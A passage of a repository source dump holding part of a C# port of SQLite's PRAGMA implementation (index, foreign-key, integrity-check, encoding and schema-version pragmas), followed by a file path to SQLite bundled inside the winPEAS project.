sqlite3VdbeAddOp2( v, OP_Null, 0, 5 );\n                                          }\n                                          sqlite3VdbeAddOp2( v, OP_Integer, pCol.isPrimKey != 0 ? 1 : 0, 6 );\n                                          sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 6 );\n                                        }\n                                      }\n                                    }\n                                    else\n\n                                      if ( sqlite3StrICmp( zLeft, \"index_info\" ) == 0 && zRight != null )\n                                      {\n                                        Index pIdx;\n                                        Table pTab;\n                                        if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n                                        pIdx = sqlite3FindIndex( db, zRight, zDb );\n                                        if ( pIdx != null )\n                                        {\n                                          int i;\n                                          pTab = pIdx.pTable;\n                                          sqlite3VdbeSetNumCols( v, 3 );\n                                          pParse.nMem = 3;\n                                          sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"seqno\", SQLITE_STATIC );\n                                          sqlite3VdbeSetColName( v, 1, COLNAME_NAME, \"cid\", SQLITE_STATIC );\n                                          sqlite3VdbeSetColName( v, 2, COLNAME_NAME, \"name\", SQLITE_STATIC );\n                                          for ( i = 0 ; i < pIdx.nColumn ; i++ )\n                                          {\n                                            int cnum = pIdx.aiColumn[i];\n                                            sqlite3VdbeAddOp2( v, OP_Integer, i, 1 );\n                                            sqlite3VdbeAddOp2( v, OP_Integer, cnum, 2 );\n                                            Debug.Assert( pTab.nCol > cnum );\n                                            sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, pTab.aCol[cnum].zName, 0 );\n                                            sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 );\n                                          }\n                                        }\n                                      }\n                                      else\n\n                                        if ( sqlite3StrICmp( zLeft, \"index_list\" ) == 0 && zRight != null )\n                                        {\n                                          Index pIdx;\n                                          Table pTab;\n                                          if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n                                          pTab = sqlite3FindTable( db, zRight, zDb );\n                                          if ( pTab != null )\n                                          {\n                                            v = sqlite3GetVdbe( pParse );\n                                            pIdx = pTab.pIndex;\n                                            if ( pIdx != null )\n                                            {\n                                              int i = 0;\n                                              sqlite3VdbeSetNumCols( v, 3 );\n                                              pParse.nMem = 3;\n                                              sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"seq\", SQLITE_STATIC );\n                                              sqlite3VdbeSetColName( v, 1, COLNAME_NAME, \"name\", SQLITE_STATIC );\n                                              sqlite3VdbeSetColName( v, 2, COLNAME_NAME, \"unique\", SQLITE_STATIC );\n                                              while ( pIdx != null )\n                                              {\n                                                sqlite3VdbeAddOp2( v, OP_Integer, i, 1 );\n                                                sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pIdx.zName, 0 );\n                                                sqlite3VdbeAddOp2( v, OP_Integer, ( pIdx.onError != OE_None ) ? 1 : 0, 3 );\n                                                sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 );\n                                                ++i;\n                                                pIdx = pIdx.pNext;\n                                              }\n                                            }\n                                          }\n                                        }\n                                        else\n\n                                          if ( sqlite3StrICmp( zLeft, \"database_list\" ) == 0 )\n                                          {\n                                            int i;\n                                            if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n                                            sqlite3VdbeSetNumCols( v, 3 );\n                                            pParse.nMem = 3;\n                                            sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"seq\", SQLITE_STATIC );\n                                            sqlite3VdbeSetColName( v, 1, COLNAME_NAME, \"name\", SQLITE_STATIC );\n                                            sqlite3VdbeSetColName( v, 2, COLNAME_NAME, \"file\", SQLITE_STATIC );\n                                            for ( i = 0 ; i < db.nDb ; i++ )\n                                            {\n                                              if ( db.aDb[i].pBt == null ) continue;\n                                              Debug.Assert( db.aDb[i].zName != null );\n                                              sqlite3VdbeAddOp2( v, OP_Integer, i, 1 );\n                                              sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, db.aDb[i].zName, 0 );\n                                              sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0,\n                                                   sqlite3BtreeGetFilename( db.aDb[i].pBt ), 0 );\n                                              sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 3 );\n                                            }\n                                          }\n                                          else\n\n                                            if ( sqlite3StrICmp( zLeft, \"collation_list\" ) == 0 )\n                                            {\n                                              int i = 0;\n                                              HashElem p;\n                                              sqlite3VdbeSetNumCols( v, 2 );\n                                              pParse.nMem = 2;\n                                              sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"seq\", SQLITE_STATIC );\n                                              sqlite3VdbeSetColName( v, 1, COLNAME_NAME, \"name\", SQLITE_STATIC );\n                                              for ( p = db.aCollSeq.first ; p != null ; p = p.next )//( p = sqliteHashFirst( db.aCollSeq ) ; p; p = sqliteHashNext( p ) )\n                                              {\n                                                CollSeq pColl = ( (CollSeq[])p.data )[0];// sqliteHashData( p );\n                                                sqlite3VdbeAddOp2( v, OP_Integer, i++, 1 );\n                                                sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, pColl.zName, 0 );\n                                                sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 2 );\n                                              }\n                                            }\n                                            else\n#endif // * SQLITE_OMIT_SCHEMA_PRAGMAS */\n\n#if !SQLITE_OMIT_FOREIGN_KEY\n                                              if ( sqlite3StrICmp( zLeft, \"foreign_key_list\" ) == 0 && zRight != null )\n                                              {\n                                                FKey pFK;\n                                                Table pTab;\n                                                if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n                                                pTab = sqlite3FindTable( db, zRight, zDb );\n                                                if ( pTab != null )\n                                                {\n                                                  v = sqlite3GetVdbe( pParse );\n                                                  pFK = pTab.pFKey;\n                                                  if ( pFK != null )\n                                                  {\n                                                    int i = 0;\n                                                    sqlite3VdbeSetNumCols( v, 8 );\n                                                    pParse.nMem = 8;\n                                                    sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"id\", SQLITE_STATIC );\n                                                    sqlite3VdbeSetColName( v, 1, COLNAME_NAME, \"seq\", SQLITE_STATIC );\n                                                    sqlite3VdbeSetColName( v, 2, COLNAME_NAME, \"table\", SQLITE_STATIC );\n                                                    sqlite3VdbeSetColName( v, 3, COLNAME_NAME, \"from\", SQLITE_STATIC );\n                                                    sqlite3VdbeSetColName( v, 4, COLNAME_NAME, \"to\", SQLITE_STATIC );\n                                                    sqlite3VdbeSetColName( v, 5, COLNAME_NAME, \"on_update\", SQLITE_STATIC );\n                                                    sqlite3VdbeSetColName( v, 6, COLNAME_NAME, \"on_delete\", SQLITE_STATIC );\n                                                    sqlite3VdbeSetColName( v, 7, COLNAME_NAME, \"match\", SQLITE_STATIC );\n                                                    while ( pFK != null )\n                                                    {\n                                                      int j;\n                                                      for ( j = 0 ; j < pFK.nCol ; j++ )\n                                                      {\n                                                        string zCol = pFK.aCol[j].zCol;\n                                                        string zOnUpdate = actionName( pFK.updateConf );\n                                                        string zOnDelete = actionName( pFK.deleteConf );\n                                                        sqlite3VdbeAddOp2( v, OP_Integer, i, 1 );\n                                                        sqlite3VdbeAddOp2( v, OP_Integer, j, 2 );\n                                                        sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0, pFK.zTo, 0 );\n                                                        sqlite3VdbeAddOp4( v, OP_String8, 0, 4, 0,\n                                                                          pTab.aCol[pFK.aCol[j].iFrom].zName, 0 );\n                                                        sqlite3VdbeAddOp4( v, zCol != null ? OP_String8 : OP_Null, 0, 5, 0, zCol, 0 );\n                                                        sqlite3VdbeAddOp4( v, OP_String8, 0, 6, 0, zOnUpdate, 0 );\n                                                        sqlite3VdbeAddOp4( v, OP_String8, 0, 7, 0, zOnDelete, 0 );\n                                                        sqlite3VdbeAddOp4( v, OP_String8, 0, 8, 0, \"NONE\", 0 );\n                                                        sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 8 );\n                                                      }\n                                                      ++i;\n                                                      pFK = pFK.pNextFrom;\n                                                    }\n                                                  }\n                                                }\n                                              }\n                                              else\n#endif // * !SQLITE_OMIT_FOREIGN_KEY) */\n\n#if !NDEBUG\n                                        if ( sqlite3StrICmp( zLeft, \"parser_trace\" ) == 0 )\n                                        {\n                                          if ( zRight != null )\n                                          {\n                                            if ( getBoolean( zRight ) != 0 )\n                                            {\n                                              sqlite3ParserTrace( Console.Out, \"parser: \" );\n                                            }\n                                            else\n                                            {\n                                              sqlite3ParserTrace( null, \"\" );\n                                            }\n                                          }\n                                        }\n                                        else\n#endif\n\n                                                /* Reinstall the LIKE and GLOB functions.  The variant of LIKE\n** used will be case sensitive or not depending on the RHS.\n*/\n                                                if ( sqlite3StrICmp( zLeft, \"case_sensitive_like\" ) == 0 )\n                                                {\n                                                  if ( zRight != null )\n                                                  {\n                                                    sqlite3RegisterLikeFunctions( db, getBoolean( zRight ) );\n                                                  }\n                                                }\n                                                else\n\n#if !SQLITE_INTEGRITY_CHECK_ERROR_MAX\n                                                  //const int SQLITE_INTEGRITY_CHECK_ERROR_MAX = 100;\n#endif\n\n#if !SQLITE_OMIT_INTEGRITY_CHECK\n                                                  /* Pragma \"quick_check\" is an experimental reduced version of\n** integrity_check designed to detect most database corruption\n** without most of the overhead of a full integrity-check.\n*/\n                                                  if ( sqlite3StrICmp( zLeft, \"integrity_check\" ) == 0\n                                                   || sqlite3StrICmp( zLeft, \"quick_check\" ) == 0\n                                                  )\n                                                  {\n                                                    const int SQLITE_INTEGRITY_CHECK_ERROR_MAX = 100;\n                                                    int i, j, addr, mxErr;\n\n                                                    /* Code that appears at the end of the integrity check.  If no error\n                                                    ** messages have been generated, output OK.  Otherwise output the\n                                                    ** error message\n                                                    */\n                                                    VdbeOpList[] endCode = new VdbeOpList[]  {\nnew VdbeOpList( OP_AddImm,      1, 0,        0),    /* 0 */\nnew                    VdbeOpList( OP_IfNeg,       1, 0,        0),    /* 1 */\nnew    VdbeOpList( OP_String8,     0, 3,        0),    /* 2 */\nnew  VdbeOpList( OP_ResultRow,   3, 1,        0),\n};\n\n                                                    bool isQuick = ( zLeft[0] == 'q' );\n\n                                                    /* Initialize the VDBE program */\n                                                    if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n                                                    pParse.nMem = 6;\n                                                    sqlite3VdbeSetNumCols( v, 1 );\n                                                    sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"integrity_check\", SQLITE_STATIC );\n\n                                                    /* Set the maximum error count */\n                                                    mxErr = SQLITE_INTEGRITY_CHECK_ERROR_MAX;\n                                                    if ( zRight != null )\n                                                    {\n                                                      mxErr = atoi( zRight );\n                                                      if ( mxErr <= 0 )\n                                                      {\n                                                        mxErr = SQLITE_INTEGRITY_CHECK_ERROR_MAX;\n                                                      }\n                                                    }\n                                                    sqlite3VdbeAddOp2( v, OP_Integer, mxErr, 1 );  /* reg[1] holds errors left */\n\n                                                    /* Do an integrity check on each database file */\n                                                    for ( i = 0 ; i < db.nDb ; i++ )\n                                                    {\n                                                      HashElem x;\n                                                      Hash pTbls;\n                                                      int cnt = 0;\n\n                                                      if ( OMIT_TEMPDB != 0 && i == 1 ) continue;\n\n                                                      sqlite3CodeVerifySchema( pParse, i );\n                                                      addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 ); /* Halt if out of errors */\n                                                      sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 );\n                                                      sqlite3VdbeJumpHere( v, addr );\n\n                                                      /* Do an integrity check of the B-Tree\n                                                      **\n                                                      ** Begin by filling registers 2, 3, ... with the root pages numbers\n                                                      ** for all tables and indices in the database.\n                                                      */\n                                                      pTbls = db.aDb[i].pSchema.tblHash;\n                                                      for ( x = pTbls.first ; x != null ; x = x.next )\n                                                      {//          for(x=sqliteHashFirst(pTbls); x; x=sqliteHashNext(x)){\n                                                        Table pTab = (Table)x.data;// sqliteHashData( x );\n                                                        Index pIdx;\n                                                        sqlite3VdbeAddOp2( v, OP_Integer, pTab.tnum, 2 + cnt );\n                                                        cnt++;\n                                                        for ( pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext )\n                                                        {\n                                                          sqlite3VdbeAddOp2( v, OP_Integer, pIdx.tnum, 2 + cnt );\n                                                          cnt++;\n                                                        }\n                                                      }\n\n                                                      /* Make sure sufficient number of registers have been allocated */\n                                                      if ( pParse.nMem < cnt + 4 )\n                                                      {\n                                                        pParse.nMem = cnt + 4;\n                                                      }\n\n                                                      /* Do the b-tree integrity checks */\n                                                      sqlite3VdbeAddOp3( v, OP_IntegrityCk, 2, cnt, 1 );\n                                                      sqlite3VdbeChangeP5( v, (u8)i );\n                                                      addr = sqlite3VdbeAddOp1( v, OP_IsNull, 2 );\n                                                      sqlite3VdbeAddOp4( v, OP_String8, 0, 3, 0,\n                                                         sqlite3MPrintf( db, \"*** in database %s ***\\n\", db.aDb[i].zName ),\n                                                         P4_DYNAMIC );\n                                                      sqlite3VdbeAddOp3( v, OP_Move, 2, 4, 1 );\n                                                      sqlite3VdbeAddOp3( v, OP_Concat, 4, 3, 2 );\n                                                      sqlite3VdbeAddOp2( v, OP_ResultRow, 2, 1 );\n                                                      sqlite3VdbeJumpHere( v, addr );\n\n                                                      /* Make sure all the indices are constructed correctly.\n                                                      */\n                                                      for ( x = pTbls.first ; x != null && !isQuick ; x = x.next )\n                                                      {\n                                                        ;//          for(x=sqliteHashFirst(pTbls); x && !isQuick; x=sqliteHashNext(x)){\n                                                        Table pTab = (Table)x.data;// sqliteHashData( x );\n                                                        Index pIdx;\n                                                        int loopTop;\n\n                                                        if ( pTab.pIndex == null ) continue;\n                                                        addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 );  /* Stop if out of errors */\n                                                        sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 );\n                                                        sqlite3VdbeJumpHere( v, addr );\n                                                        sqlite3OpenTableAndIndices( pParse, pTab, 1, OP_OpenRead );\n                                                        sqlite3VdbeAddOp2( v, OP_Integer, 0, 2 );  /* reg(2) will count entries */\n                                                        loopTop = sqlite3VdbeAddOp2( v, OP_Rewind, 1, 0 );\n                                                        sqlite3VdbeAddOp2( v, OP_AddImm, 2, 1 );   /* increment entry count */\n                                                        for ( j = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, j++ )\n                                                        {\n                                                          int jmp2;\n                                                          VdbeOpList[] idxErr = new VdbeOpList[]  {\nnew VdbeOpList( OP_AddImm,      1, -1,  0),\nnew VdbeOpList( OP_String8,     0,  3,  0),    /* 1 */\nnew VdbeOpList( OP_Rowid,       1,  4,  0),\nnew VdbeOpList( OP_String8,     0,  5,  0),    /* 3 */\nnew VdbeOpList( OP_String8,     0,  6,  0),    /* 4 */\nnew VdbeOpList( OP_Concat,      4,  3,  3),\nnew VdbeOpList( OP_Concat,      5,  3,  3),\nnew VdbeOpList( OP_Concat,      6,  3,  3),\nnew VdbeOpList( OP_ResultRow,   3,  1,  0),\nnew VdbeOpList(  OP_IfPos,       1,  0,  0),    /* 9 */\nnew VdbeOpList(  OP_Halt,        0,  0,  0),\n};\n                                                          sqlite3GenerateIndexKey( pParse, pIdx, 1, 3, true );\n                                                          jmp2 = sqlite3VdbeAddOp3( v, OP_Found, j + 2, 0, 3 );\n                                                          addr = sqlite3VdbeAddOpList( v, ArraySize( idxErr ), idxErr );\n                                                          sqlite3VdbeChangeP4( v, addr + 1, \"rowid \", SQLITE_STATIC );\n                                                          sqlite3VdbeChangeP4( v, addr + 3, \" missing from index \", SQLITE_STATIC );\n                                                          sqlite3VdbeChangeP4( v, addr + 4, pIdx.zName, P4_STATIC );\n                                                          sqlite3VdbeJumpHere( v, addr + 9 );\n                                                          sqlite3VdbeJumpHere( v, jmp2 );\n                                                        }\n                                                        sqlite3VdbeAddOp2( v, OP_Next, 1, loopTop + 1 );\n                                                        sqlite3VdbeJumpHere( v, loopTop );\n                                                        for ( j = 0, pIdx = pTab.pIndex ; pIdx != null ; pIdx = pIdx.pNext, j++ )\n                                                        {\n                                                          VdbeOpList[] cntIdx = new VdbeOpList[] {\nnew VdbeOpList( OP_Integer,      0,  3,  0),\nnew VdbeOpList( OP_Rewind,       0,  0,  0),  /* 1 */\nnew VdbeOpList( OP_AddImm,       3,  1,  0),\nnew VdbeOpList( OP_Next,         0,  0,  0),  /* 3 */\nnew VdbeOpList( OP_Eq,           2,  0,  3),  /* 4 */\nnew VdbeOpList( OP_AddImm,       1, -1,  0),\nnew VdbeOpList( OP_String8,      0,  2,  0),  /* 6 */\nnew VdbeOpList( OP_String8,      0,  3,  0),  /* 7 */\nnew VdbeOpList( OP_Concat,       3,  2,  2),\nnew VdbeOpList( OP_ResultRow,    2,  1,  0),\n};\n                                                          addr = sqlite3VdbeAddOp1( v, OP_IfPos, 1 );\n                                                          sqlite3VdbeAddOp2( v, OP_Halt, 0, 0 );\n                                                          sqlite3VdbeJumpHere( v, addr );\n                                                          addr = sqlite3VdbeAddOpList( v, ArraySize( cntIdx ), cntIdx );\n                                                          sqlite3VdbeChangeP1( v, addr + 1, j + 2 );\n                                                          sqlite3VdbeChangeP2( v, addr + 1, addr + 4 );\n                                                          sqlite3VdbeChangeP1( v, addr + 3, j + 2 );\n                                                          sqlite3VdbeChangeP2( v, addr + 3, addr + 2 );\n                                                          sqlite3VdbeJumpHere( v, addr + 4 );\n                                                          sqlite3VdbeChangeP4( v, addr + 6,\n                                                                     \"wrong # of entries in index \", P4_STATIC );\n                                                          sqlite3VdbeChangeP4( v, addr + 7, pIdx.zName, P4_STATIC );\n                                                        }\n                                                      }\n                                                    }\n                                                    addr = sqlite3VdbeAddOpList( v, ArraySize( endCode ), endCode );\n                                                    sqlite3VdbeChangeP2( v, addr, -mxErr );\n                                                    sqlite3VdbeJumpHere( v, addr + 1 );\n                                                    sqlite3VdbeChangeP4( v, addr + 2, \"ok\", P4_STATIC );\n                                                  }\n                                                  else\n#endif // * SQLITE_OMIT_INTEGRITY_CHECK */\n\n                                                    /*\n**   PRAGMA encoding\n**   PRAGMA encoding = \"utf-8\"|\"utf-16\"|\"utf-16le\"|\"utf-16be\"\n**\n** In its first form, this pragma returns the encoding of the main\n** database. If the database is not initialized, it is initialized now.\n**\n** The second form of this pragma is a no-op if the main database file\n** has not already been initialized. In this case it sets the default\n** encoding that will be used for the main database file if a new file\n** is created. If an existing main database file is opened, then the\n** default text encoding for the existing database is used.\n**\n** In all cases new databases created using the ATTACH command are\n** created to use the same default text encoding as the main database. If\n** the main database has not been initialized and/or created when ATTACH\n** is executed, this is done before the ATTACH operation.\n**\n** In the second form this pragma sets the text encoding to be used in\n** new database files created using this database handle. It is only\n** useful if invoked immediately after the main database i\n*/\n                                                    if ( sqlite3StrICmp( zLeft, \"encoding\" ) == 0 )\n                                                    {\n                                                      EncName[] encnames = new EncName[]  {\nnew EncName( \"UTF8\",     SQLITE_UTF8        ),\nnew EncName( \"UTF-8\",    SQLITE_UTF8        ),/* Must be element [1] */\nnew EncName( \"UTF-16le\", SQLITE_UTF16LE     ),/* Must be element [2] */\nnew EncName( \"UTF-16be\", SQLITE_UTF16BE     ), /* Must be element [3] */\nnew EncName( \"UTF16le\",  SQLITE_UTF16LE     ),\nnew EncName( \"UTF16be\",  SQLITE_UTF16BE     ),\nnew EncName( \"UTF-16\",   0                  ), /* SQLITE_UTF16NATIVE */\nnew EncName( \"UTF16\",    0                  ), /* SQLITE_UTF16NATIVE */\nnew EncName( null, 0 )\n};\n                                                      int iEnc;\n                                                      if ( null == zRight )\n                                                      {    /* \"PRAGMA encoding\" */\n                                                        if ( sqlite3ReadSchema( pParse ) != 0 ) goto pragma_out;\n                                                        sqlite3VdbeSetNumCols( v, 1 );\n                                                        sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"encoding\", SQLITE_STATIC );\n                                                        sqlite3VdbeAddOp2( v, OP_String8, 0, 1 );\n                                                        Debug.Assert( encnames[SQLITE_UTF8].enc == SQLITE_UTF8 );\n                                                        Debug.Assert( encnames[SQLITE_UTF16LE].enc == SQLITE_UTF16LE );\n                                                        Debug.Assert( encnames[SQLITE_UTF16BE].enc == SQLITE_UTF16BE );\n                                                        sqlite3VdbeChangeP4( v, -1, encnames[ENC( pParse.db )].zName, P4_STATIC );\n                                                        sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 1 );\n                                                      }\n#if !SQLITE_OMIT_UTF16\nelse\n{                        /* \"PRAGMA encoding = XXX\" */\n/* Only change the value of sqlite.enc if the database handle is not\n** initialized. If the main database exists, the new sqlite.enc value\n** will be overwritten when the schema is next loaded. If it does not\n** already exists, it will be created to use the new encoding value.\n*/\nif (\n//!(DbHasProperty(db, 0, DB_SchemaLoaded)) ||\n//DbHasProperty(db, 0, DB_Empty)\n( db.flags & DB_SchemaLoaded ) != DB_SchemaLoaded || ( db.flags & DB_Empty ) == DB_Empty\n)\n{\nfor ( iEnc = 0 ; encnames[iEnc].zName != null ; iEnc++ )\n{\nif ( 0 == sqlite3StrICmp( zRight, encnames[iEnc].zName ) )\n{\npParse.db.aDbStatic[0].pSchema.enc = encnames[iEnc].enc != 0 ? encnames[iEnc].enc : SQLITE_UTF16NATIVE;\nbreak;\n}\n}\nif ( encnames[iEnc].zName == null )\n{\nsqlite3ErrorMsg( pParse, \"unsupported encoding: %s\", zRight );\n}\n}\n}\n#endif\n                                                    }\n                                                    else\n\n#if !SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS\n                                                      /*\n**   PRAGMA [database.]schema_version\n**   PRAGMA [database.]schema_version = <integer>\n**\n**   PRAGMA [database.]user_version\n**   PRAGMA [database.]user_version = <integer>\n**\n** The pragma's schema_version and user_version are used to set or get\n** the value of the schema-version and user-version, respectively. Both\n** the schema-version and the user-version are 32-bit signed integers\n** stored in the database header.\n**\n** The schema-cookie is usually only manipulated internally by SQLite. It\n** is incremented by SQLite whenever the database schema is modified (by\n** creating or dropping a table or index). The schema version is used by\n** SQLite each time a query is executed to ensure that the internal cache\n** of the schema used when compiling the SQL query matches the schema of\n** the database against which the compiled query is actually executed.\n** Subverting this mechanism by using \"PRAGMA schema_version\" to modify\n** the schema-version is potentially dangerous and may lead to program\n** crashes or database corruption. Use with caution!\n**\n** The user-version is not used internally by SQLite. It may be used by\n** applications for any purpose.\n*/\n                                                      if ( sqlite3StrICmp( zLeft, \"schema_version\" ) == 0\n                                                       || sqlite3StrICmp( zLeft, \"user_version\" ) == 0\n                                                       || sqlite3StrICmp( zLeft, \"freelist_count\" ) == 0\n                                                      )\n                                                      {\n                                                        int iCookie;   /* Cookie index. 1 for schema-cookie, 6 for user-cookie. */\n                                                        sqlite3VdbeUsesBtree( v, iDb );\n                                                        switch ( zLeft[0] )\n                                                        {\n                                                          case 'f':\n                                                          case 'F':\n                                                            iCookie = BTREE_FREE_PAGE_COUNT;\n                                                            break;\n                                                          case 's':\n                                                          case 'S':\n                                                            iCookie = BTREE_SCHEMA_VERSION;\n                                                            break;\n                                                          default:\n                                                            iCookie = BTREE_USER_VERSION;\n                                                            break;\n                                                        }\n\n                                                        if ( zRight != null && iCookie != BTREE_FREE_PAGE_COUNT )\n                                                        {\n                                                          /* Write the specified cookie value */\n                                                          VdbeOpList[] setCookie = new VdbeOpList[] {\nnew VdbeOpList( OP_Transaction,    0,  1,  0),    /* 0 */\nnew   VdbeOpList( OP_Integer,        0,  1,  0),    /* 1 */\nnew VdbeOpList( OP_SetCookie,      0,  0,  1),    /* 2 */\n};\n                                                          int addr = sqlite3VdbeAddOpList( v, ArraySize( setCookie ), setCookie );\n                                                          sqlite3VdbeChangeP1( v, addr, iDb );\n                                                          sqlite3VdbeChangeP1( v, addr + 1, atoi( zRight ) );\n                                                          sqlite3VdbeChangeP1( v, addr + 2, iDb );\n                                                          sqlite3VdbeChangeP2( v, addr + 2, iCookie );\n                                                        }\n                                                        else\n                                                        {\n                                                          /* Read the specified cookie value */\n                                                          VdbeOpList[] readCookie = new VdbeOpList[]  {\nnew VdbeOpList( OP_Transaction,     0,  0,  0),    /* 0 */\nnew VdbeOpList( OP_ReadCookie,      0,  1,  0),    /* 1 */\nnew VdbeOpList( OP_ResultRow,       1,  1,  0)\n};\n                                                          int addr = sqlite3VdbeAddOpList( v, readCookie.Length, readCookie );// ArraySize(readCookie), readCookie);\n                                                          sqlite3VdbeChangeP1( v, addr, iDb );\n                                                          sqlite3VdbeChangeP1( v, addr + 1, iDb );\n                                                          sqlite3VdbeChangeP3( v, addr + 1, iCookie );\n                                                          sqlite3VdbeSetNumCols( v, 1 );\n                                                          sqlite3VdbeSetColName( v, 0, COLNAME_NAME, zLeft, SQLITE_TRANSIENT );\n                                                        }\n                                                      }\n                                                      else if ( sqlite3StrICmp( zLeft, \"reload_schema\" ) == 0 )\n                                                      {\n                                                        /* force schema reloading*/\n                                                        sqlite3ResetInternalSchema( db, 0 );\n                                                      }\n                                                      else if ( sqlite3StrICmp( zLeft, \"file_format\" ) == 0 )\n                                                      {\n                                                        pDb.pSchema.file_format = (u8)atoi( zRight );\n                                                        sqlite3ResetInternalSchema( db, 0 );\n                                                      }\n\n                                                      else\n#endif // * SQLITE_OMIT_SCHEMA_VERSION_PRAGMAS */\n\n#if SQLITE_DEBUG || SQLITE_TEST\n                                                  /*\n** Report the current state of file logs for all databases\n*/\n                                                  if ( sqlite3StrICmp( zLeft, \"lock_status\" ) == 0 )\n                                                  {\n                                                    string[] azLockName = {\n\"unlocked\", \"shared\", \"reserved\", \"pending\", \"exclusive\"\n};\n                                                    int i;\n                                                    sqlite3VdbeSetNumCols( v, 2 );\n                                                    pParse.nMem = 2;\n                                                    sqlite3VdbeSetColName( v, 0, COLNAME_NAME, \"database\", SQLITE_STATIC );\n                                                    sqlite3VdbeSetColName( v, 1, COLNAME_NAME, \"status\", SQLITE_STATIC );\n                                                    for ( i = 0 ; i < db.nDb ; i++ )\n                                                    {\n                                                      Btree pBt;\n                                                      Pager pPager;\n                                                      string zState = \"unknown\";\n                                                      int j = 0;\n                                                      if ( db.aDb[i].zName == null ) continue;\n                                                      sqlite3VdbeAddOp4( v, OP_String8, 0, 1, 0, db.aDb[i].zName, P4_STATIC );\n                                                      pBt = db.aDb[i].pBt;\n                                                      if ( pBt == null || ( pPager = sqlite3BtreePager( pBt ) ) == null )\n                                                      {\n                                                        zState = \"closed\";\n                                                      }\n                                                      else if ( sqlite3_file_control( db, i != 0 ? db.aDb[i].zName : null,\n                                               SQLITE_FCNTL_LOCKSTATE, ref j ) == SQLITE_OK )\n                                                      {\n                                                        zState = azLockName[j];\n                                                      }\n                                                      sqlite3VdbeAddOp4( v, OP_String8, 0, 2, 0, zState, P4_STATIC );\n                                                      sqlite3VdbeAddOp2( v, OP_ResultRow, 1, 2 );\n                                                    }\n                                                  }\n                                                  else\n#endif\n\n#if SQLITE_HAS_CODEC\nif( sqlite3StrICmp(zLeft, \"key\")==0 && zRight ){\nsqlite3_key(db, zRight, sqlite3Strlen30(zRight));\n}else\nif( sqlite3StrICmp(zLeft, \"rekey\")==0 && zRight ){\nsqlite3_rekey(db, zRight, sqlite3Strlen30(zRight));\n}else\nif( zRight && (sqlite3StrICmp(zLeft, \"hexkey\")==0 ||\nsqlite3StrICmp(zLeft, \"hexrekey\")==0) ){\nint i, h1, h2;\nchar zKey[40];\nfor(i=0; (h1 = zRight[i])!=0 && (h2 = zRight[i+1])!=0; i+=2){\nh1 += 9*(1&(h1>>6));\nh2 += 9*(1&(h2>>6));\nzKey[i/2] = (h2 & 0x0f) | ((h1 & 0xf)<<4);\n}\nif( (zLeft[3] & 0xf)==0xb ){\nsqlite3_key(db, zKey, i/2);\n}else{\nsqlite3_rekey(db, zKey, i/2);\n}\n}else\n#endif\n#if SQLITE_HAS_CODEC || SQLITE_ENABLE_CEROD\nif( sqlite3StrICmp(zLeft, \"activate_extensions\")==0 ){\n#if SQLITE_HAS_CODEC\nif( sqlite3StrNICmp(zRight, \"see-\", 4)==0 ){\nextern void sqlite3_activate_see(const char*);\nsqlite3_activate_see(&zRight[4]);\n}\n#endif\n#if SQLITE_ENABLE_CEROD\nif( sqlite3StrNICmp(zRight, \"cerod-\", 6)==0 ){\nextern void sqlite3_activate_cerod(const char*);\nsqlite3_activate_cerod(&zRight[6]);\n}\n#endif\n}else\n#endif\n                                                      { /* Empty ELSE clause */}\n\n      /* Code an OP_Expire at the end of each PRAGMA program to cause\n      ** the VDBE implementing the pragma to expire. Most (all?) pragmas\n      ** are only valid for a single execution.\n      */\n      sqlite3VdbeAddOp2( v, OP_Expire, 1, 0 );\n\n      /*\n      ** Reset the safety level, in case the fullfsync flag or synchronous\n      ** setting changed.\n      */\n#if !SQLITE_OMIT_PAGER_PRAGMAS\n      if ( db.autoCommit != 0 )\n      {\n        sqlite3BtreeSetSafetyLevel( pDb.pBt, pDb.safety_level,\n          ( ( db.flags & SQLITE_FullFSync ) != 0 ) ? 1 : 0 );\n      }\n#endif\n    pragma_out:\n      //sqlite3DbFree( db, ref zLeft );\n      //sqlite3DbFree( db, ref zRight );\n      ;\n    }\n\n#endif // * SQLITE_OMIT_PRAGMA\n  }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/prepare_c.cs",
